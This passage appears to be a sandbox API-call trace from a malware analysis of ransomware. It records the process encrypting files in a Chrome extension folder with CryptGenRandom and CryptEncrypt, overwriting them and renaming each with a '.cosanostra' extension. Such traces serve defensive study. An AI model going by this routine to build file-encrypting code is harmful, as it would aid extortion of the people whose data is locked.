lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x28dfad4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfad4*=0xd7, lpOverlapped=0x0) returned 1 [0085.637] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.637] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfad4, lpOverlapped=0x0 | out: lpBuffer=0x28dfb14*, lpNumberOfBytesWritten=0x28dfad4*=0x4, lpOverlapped=0x0) returned 1 [0085.637] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfad4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfad4*=0x30, lpOverlapped=0x0) returned 1 [0085.637] CloseHandle (hObject=0x188) returned 1 [0085.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0085.639] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb10 | out: pbBuffer=0x28dfb10) returned 1 [0085.639] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb08*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb08*=0x30) returned 1 [0085.639] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.639] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 156 [0085.639] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.640] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff25, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.640] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xdb, lpNumberOfBytesWritten=0x28dfacc, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfacc*=0xdb, lpOverlapped=0x0) returned 1 [0085.641] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.641] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfacc, lpOverlapped=0x0 | out: lpBuffer=0x28dfb0c*, lpNumberOfBytesWritten=0x28dfacc*=0x4, lpOverlapped=0x0) returned 1 [0085.641] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfacc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfacc*=0x30, lpOverlapped=0x0) returned 1 [0085.641] CloseHandle (hObject=0x188) returned 1 [0085.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0085.642] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb08 | out: pbBuffer=0x28dfb08) returned 1 [0085.642] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb00*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb00*=0x30) returned 1 [0085.642] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.643] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 155 [0085.643] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.643] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.643] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x28dfac4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfac4*=0xd8, lpOverlapped=0x0) returned 1 [0085.644] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.644] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfac4, lpOverlapped=0x0 | out: lpBuffer=0x28dfb04*, lpNumberOfBytesWritten=0x28dfac4*=0x4, lpOverlapped=0x0) returned 1 [0085.644] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfac4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfac4*=0x30, lpOverlapped=0x0) returned 1 [0085.644] CloseHandle (hObject=0x188) returned 1 [0085.644] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0085.646] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb00 | out: pbBuffer=0x28dfb00) returned 1 [0085.646] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfaf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfaf8*=0x30) returned 1 [0085.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.646] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned 155 [0085.646] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.647] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.647] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x28dfabc, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfabc*=0xd8, lpOverlapped=0x0) returned 1 [0085.647] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.647] WriteFile (in: hFile=0x188, lpBuffer=0x28dfafc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfabc, lpOverlapped=0x0 | out: lpBuffer=0x28dfafc*, lpNumberOfBytesWritten=0x28dfabc*=0x4, lpOverlapped=0x0) returned 1 [0085.647] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfabc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfabc*=0x30, lpOverlapped=0x0) returned 1 [0085.648] CloseHandle (hObject=0x188) returned 1 [0085.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0085.648] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfaf8 | out: pbBuffer=0x28dfaf8) returned 1 [0085.648] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfaf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfaf0*=0x30) returned 1 [0085.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.649] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 159 [0085.649] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.649] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.649] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x28dfab4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfab4*=0xce, lpOverlapped=0x0) returned 1 [0085.649] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.649] WriteFile (in: hFile=0x188, lpBuffer=0x28dfaf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfab4, lpOverlapped=0x0 | out: lpBuffer=0x28dfaf4*, lpNumberOfBytesWritten=0x28dfab4*=0x4, lpOverlapped=0x0) returned 1 [0085.650] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfab4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfab4*=0x30, lpOverlapped=0x0) returned 1 [0085.650] CloseHandle (hObject=0x188) returned 1 [0085.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.cosanostra")) returned 1 [0085.651] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfaf0 | out: pbBuffer=0x28dfaf0) returned 1 [0085.651] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfae8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfae8*=0x30) returned 1 [0085.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.651] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 155 [0085.651] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.652] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x28dfaac, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfaac*=0xce, lpOverlapped=0x0) returned 1 [0085.652] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.652] WriteFile (in: hFile=0x188, lpBuffer=0x28dfaec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfaac, lpOverlapped=0x0 | out: lpBuffer=0x28dfaec*, lpNumberOfBytesWritten=0x28dfaac*=0x4, lpOverlapped=0x0) returned 1 [0085.652] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfaac, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfaac*=0x30, lpOverlapped=0x0) returned 1 [0085.653] CloseHandle (hObject=0x188) returned 1 [0085.653] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0085.654] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfae8 | out: pbBuffer=0x28dfae8) returned 1 [0085.654] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfae0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfae0*=0x30) returned 1 [0085.654] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.654] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 158 [0085.654] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.689] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.689] WriteFile (in: hFile=0x188, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x28dfaa4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x28dfaa4*=0xd1, lpOverlapped=0x0) returned 1 [0085.689] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.690] WriteFile (in: hFile=0x188, lpBuffer=0x28dfae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfaa4, lpOverlapped=0x0 | out: lpBuffer=0x28dfae4*, lpNumberOfBytesWritten=0x28dfaa4*=0x4, lpOverlapped=0x0) returned 1 [0085.690] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfaa4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfaa4*=0x30, lpOverlapped=0x0) returned 1 [0085.690] CloseHandle (hObject=0x188) returned 1 [0085.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.cosanostra")) returned 1 [0085.690] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfae8 | out: pbBuffer=0x28dfae8) returned 1 [0085.690] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfae0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfae0*=0x30) returned 1 [0085.691] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.691] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json") returned 143 [0085.691] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0085.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffd2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.721] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2d5, lpNumberOfBytesWritten=0x28dfaa4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfaa4*=0x2d5, lpOverlapped=0x0) returned 1 [0085.721] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.721] WriteFile (in: hFile=0x188, lpBuffer=0x28dfae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfaa4, lpOverlapped=0x0 | out: lpBuffer=0x28dfae4*, lpNumberOfBytesWritten=0x28dfaa4*=0x4, lpOverlapped=0x0) returned 1 [0085.722] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfaa4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfaa4*=0x30, lpOverlapped=0x0) returned 1 [0085.722] CloseHandle (hObject=0x188) returned 1 [0085.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.cosanostra")) returned 1 [0085.723] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfae0 | out: pbBuffer=0x28dfae0) returned 1 [0085.723] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfad8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfad8*=0x30) returned 1 [0085.723] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.723] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 142 [0085.723] StrStrW (lpFirst="icon_128.png", lpSrch=".txt") returned 0x0 [0085.725] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffff373, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.725] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xc8d, lpNumberOfBytesWritten=0x28dfa9c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x28dfa9c*=0xc8d, lpOverlapped=0x0) returned 1 [0085.725] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.725] WriteFile (in: hFile=0x188, lpBuffer=0x28dfadc*, nNumberOfBytesToWrite=0x4, 